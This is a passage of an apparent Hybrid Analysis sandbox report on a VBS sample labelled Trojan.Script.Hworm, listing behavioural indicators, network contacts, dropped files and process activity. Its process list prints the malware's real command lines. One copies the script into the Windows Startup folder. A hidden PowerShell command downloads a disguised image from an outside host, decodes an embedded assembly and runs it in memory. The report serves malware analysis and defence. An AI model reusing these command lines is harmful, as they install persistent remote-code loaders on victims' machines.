datablocks 0x1 compression\"- Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00001464]\n \"Cab186.tmp\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 63843 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 datablocks 0x1 compression\"- Location: [%TEMP%\\Cab186.tmp]- [targetUID: 00000000-00001464]","origin":"Binary File","mitre_attack_id":"T1560","relevance":10,"id":"binary-5","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"77EC63BDA74BD0D0E0426DC8F8008506\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00001464]\n Dropped file: \"CD2OWK1HUKQQ5G5TAJW7.temp\" - Location: [%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\CD2OWK1HUKQQ5G5TAJW7.temp]- [targetUID: 00000000-00003372]\n Dropped file: \"77EC63BDA74BD0D0E0426DC8F8008506\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00001464]\n Dropped file: \"H2XYEND7WCF9PJZ3WQ2E.temp\" - Location: [%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\H2XYEND7WCF9PJZ3WQ2E.temp]- [targetUID: 00000000-00001464]\n Dropped file: \"UGSX67XCXB4RLVIL5ZO0.temp\" - Location: [%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\UGSX67XCXB4RLVIL5ZO0.temp]- [targetUID: 00000000-00002792]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$55","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Ability to hide a payload in the commandline","description":"Process \"powershell.exe\" based on artifact \"frombase64string\" (UID: 00000000-00003372)\n Process \"powershell.exe\" based on artifact \"frombase64string\" (UID: 00000000-00001464)","origin":"Monitored Target","mitre_attack_id":"T1140","relevance":10,"id":"target-43","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Uses a Windows Living Off The Land Binaries (LOL bins)","description":"Process \"%WINDIR%\\system32\\PING.EXE\" launched with commandline \"ping 127.0.0.1 -n 5\" (UID: 00000000-00003872)","origin":"Monitored Target","relevance":3,"id":"target-411","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Uses powershell with a windows hidden commandline param","description":"$56","origin":"Monitored Target","mitre_attack_id":"T1564.003","relevance":7,"id":"target-114","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for known debuggers/analysis tools","description":"Found string \":\\Windows\\system32\\dbghelp.dll\" (Indicator: \"dbghelp.dll\"; Source: \"00000000-00000612.00000001.81290.003FE000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":2,"id":"string-5","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Shows ability to use data encoding technique","description":"The analysis shows indicators which shows data encoded. Matched sigs: Ability to hide a payload in the commandline","origin":"Indicator Combinations","mitre_attack_id":"T1132","relevance":3,"id":"summary-30","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve a module handle","description":"GetModuleHandleExW@KERNEL32.dll at 2482-325-000000010000D920","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-121","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoW@KERNEL32.dll at 2482-1-000000010000F3CC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"$57","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-55","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least three reputation engines","description":"8/90 reputation engines marked \"https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg\" as malicious (8% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"suspicious","category":"General","name":"Executes powershell with commandline","description":"$58","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-110","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"suspicious","category":"General","name":"References URL in command line","description":"$59","origin":"Monitored Target","mitre_attack_id":"T1105","relevance":1,"id":"target-174","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Executes a VBS file","description":"Process \"WScript.exe\" with commandline \"\"C:\\\\EGK.vbs\"\" (UID: 00000000-00001268)","origin":"Monitored Target","mitre_attack_id":"T1059.005","relevance":10,"id":"target-17","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Found registry location strings which can modify auto-execute functionality","description":"Found string \"Software\\Microsoft\\Active Setup\\Installed Components\\{89820200-ECBD-11CF-8B85-00AA005B4383}\" (Indicator: \"software\\microsoft\\active setup\\installed components\"; in Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1547","relevance":5,"id":"string-184","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"WScript.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 792)\n \"WScript.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 792)\n \"WScript.exe\" wrote 8 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 792)\n \"powershell.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1000)\n \"powershell.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1000)\n \"powershell.exe\" wrote 8 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1000)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 8.249.11.254 on port 80 is sent without HTTP header\n TCP traffic to 104.21.45.138 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Checks network status using ping","description":"Process \"PING.EXE\" with commandline \"ping 127.0.0.1 -n 5\" (UID: 00000000-00003872)","origin":"Monitored Target","mitre_attack_id":"T1018","relevance":5,"id":"target-22","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to load binary assembly using powershell","description":"$5b","origin":"Monitored Target","mitre_attack_id":"T1620","relevance":5,"id":"target-252","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve local system accounts","description":"file/memory contains long string with (Indicator: \"net share\"; File: \"EGK.vbs.bin\")\n Found string \"RunCmd \"net share\", logFileName\" (Indicator: \"net share\"; File: \"EGK.vbs.bin\")","origin":"File/Memory","mitre_attack_id":"T1087.001","relevance":1,"id":"string-362","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module","description":"GetModuleFileNameW@KERNEL32.dll at 2482-325-000000010000D920\n GetModuleFileNameW@KERNEL32.dll at 2482-139-000000010000AEB0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":5,"id":"stream-131","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"suspicious","category":"System Security","name":"Contains ability to terminate a process","description":"ExitProcess@KERNEL32.dll at 2482-330-00000001000098CC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1489","relevance":1,"id":"stream-88","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Invokes a process with a long commandline","description":"$5c","origin":"Monitored Target","mitre_attack_id":"T1027","relevance":10,"id":"target-31","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Script file shows a combination of malicious behavior","description":"The script produces internet activity\n is obfuscated and drops files","origin":"Indicator Combinations","mitre_attack_id":"T1204.002","relevance":7,"id":"summary-5","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$5d","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]}],"incidents":[{"name":"Persistence","details_count":1,"details":[{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Found a reference to a WMI query string known to be used for VM detection"},{"detail":"Checks network status using ping"},{"detail":"Contains ability to terminate a process"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]}]},"activity":{"stats":{"process_count":7,"spawned_processes_count":7,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":12,"imported_dlls_count":130,"dropped_files_count":0,"extracted_files_count":10,"files_written_count":10,"files_deleted_count":0,"registry_keys_created_count":5,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":5,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":2,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["evasive"],"sample_flags":["Network Traffic","Extracted Files","Launch Failed"],"sandbox_reports":[{"id":"64da29459d1600fcbb036afd","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["USA"],"submit_name":"EGK.vbs","analysis_start_time":"2023-08-14T13:16:53+00:00","indicators_count":{"informative":161,"suspicious":26,"malicious":2},"tags":["Network Traffic","Extracted Files","Launch Failed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"8.249.11.254","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"address":"104.21.45.138","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]}],"dns_resolutions":[{"domain":"pti.store.microsoft.com","ttl":193,"country":"-","registrar_name":"MarkMonitor, Inc.","registrar_organization":"Microsoft Corporation","registrar_name_servers":"NS1.MSFT.NET","registrar_creation_date":"1991-05-02T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"domain":"uploaddeimagens.com.br","address":"104.21.45.138","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]}],"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}],"processes":[{"pid":1268,"ppid":0,"name":"WScript.exe","command_line":"\"C:\\EGK.vbs\"","sha256":"9c8a1b52a638ca87a5e7e60e635a3cbf89b04f5888995f55e2ad3d94ab009b97","normalized_path":"%WINDIR%\\System32\\WScript.exe","uid":"00000000-00001268","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACC0lEQVR4Xu2Xy2rCQBSGfUMR3fkovoYIxiyrexe+gbhzIXhDxHbjtTbJQnM3pz0zpIknE5tJbFc98IOCM993MnMClkr/9V+kZrMZ7Pd7OJ1OcDgcMob/frvdwmg0gnK5DHTfzDWfzyEIAshTnucBrkeJarWaTwI3cByHbYgiQXCD2y0tPvh+FKz1eg2r1Qqm0ylUKhV5iXsBCozAFB4KvL29wm63Y98nkwnU63U5ibhAEpzsOorH1mD3m82GfdZ1HYbDIdRqtewSKGDbdqpAEszhocBisYBe7+UrPeh2u9Dv92EwGDxLgIIjOF5ATFjH45HJjMdjJkE5qSUWEJ95HBzFBdd17yZpuVwWEaDQZNdxeCjAg/sEcL1e8wpQsAzcYUEBwzBkBSz2CEXwx9AIjJOEwX0MQ5cTsCwqIOr6Z7jj2OxdUlBADh4J2M8QKAYPBfCFRDmpxQVMtlB00R6D7wXwMuMk6bomL4ALKVx0y+mZx+FcwJcXME0qkA+O01RQgINl4FzA+k4BAT/1zEXnTTuPC2haDgEcQQqO4LTjJBiD04RTpGkfRQSywJNgHtwnt8DjR57WNRcwv5NT4MoWpl20x/AnChSF5xLA/wWXy4WdP4dbRMBMBI8MpUVxXQ/O53c5gd8oykmtRqMBrVYLVLUDnQ6PooSflbsoCqYtTLvNo6oqNJvN7AJ/XZ+m0rg3oaUMLwAAAABJRU5ErkJggg=="},{"pid":424,"ppid":1268,"name":"cmd.exe","command_line":"/c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ LD.vbs')\"","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00000000-00001268","uid":"00000000-00000424"},{"pid":3872,"ppid":424,"name":"PING.EXE","command_line":"ping 127.0.0.1 -n 5","sha256":"14262982a64551fde126339b22b993b6e4aed520e53dd882e67d887b6b66f942","normalized_path":"%WINDIR%\\system32\\PING.EXE","parent_uid":"00000000-00000424","uid":"00000000-00003872"},{"pid":2896,"ppid":424,"name":"cmd.exe","command_line":"/c \"powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ LD.vbs')\"","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00000424","uid":"00000000-00002896"},{"pid":2792,"ppid":2896,"name":"powershell.exe","command_line":"powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ LD.vbs')","sha256":"a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00002896","uid":"00000000-00002792"},{"pid":3372,"ppid":1268,"name":"powershell.exe","command_line":"$5e","sha256":"a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00001268","uid":"00000000-00003372"},{"pid":1464,"ppid":3372,"name":"powershell.exe","command_line":"-windowstyle hidden -executionpolicy bypss -NoProfile -command \"$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.912jhe/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)\"","sha256":"a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003372","uid":"00000000-00001464"}],"all_imported_dlls":["srvcli.dll","psapi.dll","credssp.dll","cryptbase.dll","fltLib.dll","msisip.dll","sspicli.dll","bcrypt.dll","normaliz.dll","usp10.dll","uxtheme.dll","nsi.dll","winhttp.dll","mlang.dll","cfgmgr32.dll","mscoreei.dll","System.Configuration.Install.ni.dll","atl.dll","shell32.dll","rasman.dll","wintrust.dll","winbrand.dll","Microsoft.PowerShell.Commands.Diagnostics.ni.dll","FWPUCLNT.DLL","diasymreader.dll","profapi.dll","ieframe.dll","WSHTCPIP.DLL","System.Core.ni.dll","mscorrc.dll","rtutils.dll","sechost.dll","msctf.dll","api-ms-win-downlevel-user32-l1-1-0.dll","iertutil.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","System.Data.dll","Wldap32.dll","gdi32.dll","oleaut32.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","dhcpcsvc.dll","schannel.dll","SensApi.dll","System.Data.ni.dll","ntdll.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","mscoree.dll","mscorjit.dll","kernel32.dll","vbscript.dll","Microsoft.WSMan.Management.ni.dll","security.dll","secur32.dll","mscorlib.ni.dll","VxSSL64.dll","cryptsp.dll","apphelp.dll","System.ni.dll","shfolder.dll","System.Configuration.ni.dll","bcryptprimitives.dll","advapi32.dll","ntshrui.dll","rasadhlp.dll","scrrun.dll","userenv.dll","msvcr80.dll","wship6.dll","version.dll","ws2_32.dll","System.Management.ni.dll","winnsi.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","rpcss.dll","shlwapi.dll","gpapi.dll","System.Management.Automation.ni.dll","webio.dll","imm32.dll","wshext.dll","wininet.dll","IPHLPAPI.DLL","System.Transactions.dll","scrobj.dll","shdocvw.dll","linkinfo.dll","Microsoft.PowerShell.Commands.Management.ni.dll","cabinet.dll","rpcrt4.dll","ole32.dll","dhcpcsvc6.dll","tzres.dll","netutils.dll","crypt32.dll","msasn1.dll","System.Transactions.ni.dll","cryptnet.dll","rasapi32.dll","api-ms-win-downlevel-version-l1-1-0.dll","setupapi.dll","clbcatq.dll","comctl32.dll","mpr.dll","cscapi.dll","System.DirectoryServices.ni.dll","msvcrt.dll","ncrypt.dll","KernelBase.dll","api-ms-win-core-synch-l1-2-0.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","sxs.dll","devrtl.dll","user32.dll","lpk.dll","dwmapi.dll","slc.dll","dnsapi.dll","rsaenh.dll","comdlg32.dll","propsys.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","devobj.dll","mswsock.dll","Microsoft.PowerShell.Security.ni.dll","System.Xml.ni.dll","ntmarta.dll","urlmon.dll","mscorwks.dll","Microsoft.PowerShell.Commands.Utility.ni.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"Tar187.tmp","sha256":"c8733c93cc5aaf5ca206d06af22ee8dbdec764fb5085019a6a9181feb9dfdee6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"name":"DISMHOST.EXE.64DA5164.bin","sha256":"9a4b735603297448841758b29d3c387a4ce84e5fd0dae05622f43ce53b8c85e6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"name":"UGSX67XCXB4RLVIL5ZO0.temp","sha256":"9d18a4a7e4107a0bbe79f8a454d07cfb4ae2a59e8d386859f02d1503d0d9c9a2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"name":"Cab186.tmp","sha256":"d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"name":"LD.vbs","sha256":"a06f443a1ca6cbaf9e8cd3a2ff0e7ec0d982d654709e952fc68621450926c509","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"name":"CD2OWK1HUKQQ5G5TAJW7.temp","sha256":"9d18a4a7e4107a0bbe79f8a454d07cfb4ae2a59e8d386859f02d1503d0d9c9a2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"name":"H2XYEND7WCF9PJZ3WQ2E.temp","sha256":"9d18a4a7e4107a0bbe79f8a454d07cfb4ae2a59e8d386859f02d1503d0d9c9a2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"name":"77EC63BDA74BD0D0E0426DC8F8008506","sha256":"d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"name":"urlref_httpsuploaddeimagens.com.brimages004563621originaluniverso_vbs.jpeg1690931855_webClient","sha256":"b0c79c0f087b28e30cf4126ad4766ac21723ef5c41cb3aba8e04eb4c68e88558","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"name":"dism.log","sha256":"b24c7c210ac8b40952a5604ec4133764b2030a57e2ce106a31b6dc7838010ec4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]}],"files_written":[{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ LD.vbs","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\TRACING\\","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\TRACING\\POWERSHELL_RASAPI32\\","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\TRACING\\POWERSHELL_RASMANCS\\","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"name":"Global\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"name":"_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"name":"Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]}]}},"report_ids":{"sandbox_job_ids":["64da29459d1600fcbb036afd"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.Script.Hworm Sample a06f443a1ca6… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample a06f443a1ca6…. Malware family: Trojan.Script.Hworm. Threat score 100/100. 1/26 AV engines flagged this file. 2 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/a06f443a1ca6cbaf9e8cd3a2ff0e7ec0d982d654709e952fc68621450926c509"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Script.Hworm Sample a06f443a1ca6… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample a06f443a1ca6…. Malware family: Trojan.Script.Hworm. Threat score 100/100. 1/26 AV engines flagged this file. 2 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox 